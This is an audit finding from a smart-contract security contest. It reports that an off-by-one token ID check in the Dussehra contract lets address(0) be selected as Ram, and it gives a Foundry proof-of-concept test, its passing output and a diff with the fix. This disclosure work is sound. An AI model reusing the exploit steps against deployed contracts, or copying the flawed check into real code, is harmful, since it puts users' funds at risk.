First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

User can increase the characteristics of a non-existent tokenID, and address(0) could be selected as Ram, leading to lost rewards.

azanux

Summary

The function ChoosingRam.increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyParticipant) does not check if tokenIdOfChallenger and tokenIdOfAnyParticipant really exist. Thus, address(0) could be selected as Ram, and the reward could be lost forever if the Time To Be Like Ram is over.

Vulnerability Details

When we call the function ChoosingRam.increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyParticipant), it checks that tokenIdOfChallenger > ramNFT.tokenCounter() and tokenIdOfAnyParticipant > ramNFT.tokenCounter() and reverts if this is the case. However, if ramNFT.tokenCounter() doesn't exist yet, nobody owns this NFT, and the address could be selected as Ram will be address(0).

Impact

If address(0) is selected as Ram by the organizer, Ravana could kill Ram, and if the Time To Be Like Ram is over, the Reward could be lost forever.

Code Example

This code should be added to the smart contract Dussehra.sol#CounterTest:

function test_increaseValuesOfInvaidNFT() public participants {
vm.startPrank(player1);
choosingRam.increaseValuesOfParticipants(0, 2);
vm.warp(block.timestamp + 1);
choosingRam.increaseValuesOfParticipants(0, 2);
vm.warp(block.timestamp + 1);
choosingRam.increaseValuesOfParticipants(0, 2);
vm.warp(block.timestamp + 1);
choosingRam.increaseValuesOfParticipants(0, 2);
vm.warp(block.timestamp + 1);
choosingRam.increaseValuesOfParticipants(0, 2);
vm.stopPrank();
​
assertEq(ramNFT.getCharacteristics(2).isJitaKrodhah, true);
​
//mint new NFT
vm.startPrank(player3);
vm.deal(player3, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
​
//check if selectedRam is updated
address selectedRam = choosingRam.selectedRam();
​
//player 3 is the owner of the NFT with id = 2
assertEq(ramNFT.getCharacteristics(2).ram, player3);
​
//check that select ram
assertEq(selectedRam, address(0));
}

Result

forge test --mt test_increaseValuesOfInvaidNFT
[⠊] Compiling...
[⠘] Compiling 1 files with 0.8.20
[⠃] Solc 0.8.20 finished in 2.72s
Compiler run successful!
​
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] test_increaseValuesOfInvaidNFT() (gas: 521746)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.44ms (782.63µs CPU time)

Tools Used

Manual review.

Recommendations

Check if the token exists

function increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyParticipant)
public
RamIsNotSelected
{
- if (tokenIdOfChallenger > ramNFT.tokenCounter()) {
+ if (tokenIdOfChallenger >= ramNFT.tokenCounter()) {
revert ChoosingRam__InvalidTokenIdOfChallenger();
}
- if (tokenIdOfAnyParticipant > ramNFT.tokenCounter()) {
+ if (tokenIdOfAnyParticipant >= ramNFT.tokenCounter()) {
revert ChoosingRam__InvalidTokenIdOfParticipant();
}
if (ramNFT.getCharacteristics(tokenIdOfChallenger).ram != msg.sender) {
revert ChoosingRam__CallerIsNotChallenger();
}
​
if (block.timestamp > 1728691200) {
revert ChoosingRam__TimeToBeLikeRamFinish();
}
​
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % 2;
​
if (random == 0) {
if (ramNFT.getCharacteristics(tokenIdOfChallenger).isJitaKrodhah == false) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, false, false, false, false);
} else if (ramNFT.getCharacteristics(tokenIdOfChallenger).isDhyutimaan == false) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true, false, false, false);
} else if (ramNFT.getCharacteristics(tokenIdOfChallenger).isVidvaan == false) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true, true, false, false);
} else if (ramNFT.getCharacteristics(tokenIdOfChallenger).isAatmavan == false) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true, true, true, false);
} else if (ramNFT.getCharacteristics(tokenIdOfChallenger).isSatyavaakyah == false) {
ramNFT.updateCharacteristics(tokenIdOfChallenger, true, true, true, true, true);
selectedRam = ramNFT.getCharacteristics(tokenIdOfChallenger).ram;
}
} else {
if (ramNFT.getCharacteristics(tokenIdOfAnyParticipant).isJitaKrodhah == false) {
ramNFT.updateCharacteristics(tokenIdOfAnyParticipant, true, false, false, false, false);
} else if (ramNFT.getCharacteristics(tokenIdOfAnyParticipant).isDhyutimaan == false) {
ramNFT.updateCharacteristics(tokenIdOfAnyParticipant, true, true, false, false, false);
} else if (ramNFT.getCharacteristics(tokenIdOfAnyParticipant).isVidvaan == false) {
ramNFT.updateCharacteristics(tokenIdOfAnyParticipant, true, true, true, false, false);
} else if (ramNFT.getCharacteristics(tokenIdOfAnyParticipant).isAatmavan == false) {
ramNFT.updateCharacteristics(tokenIdOfAnyParticipant, true, true, true, true, false);
} else if (ramNFT.getCharacteristics(tokenIdOfAnyParticipant).isSatyavaakyah == false) {
ramNFT.updateCharacteristics(tokenIdOfAnyParticipant, true, true, true, true, true);
selectedRam = ramNFT.getCharacteristics(tokenIdOfAnyParticipant).ram;
}
}
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

The token counter check is incorrect

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.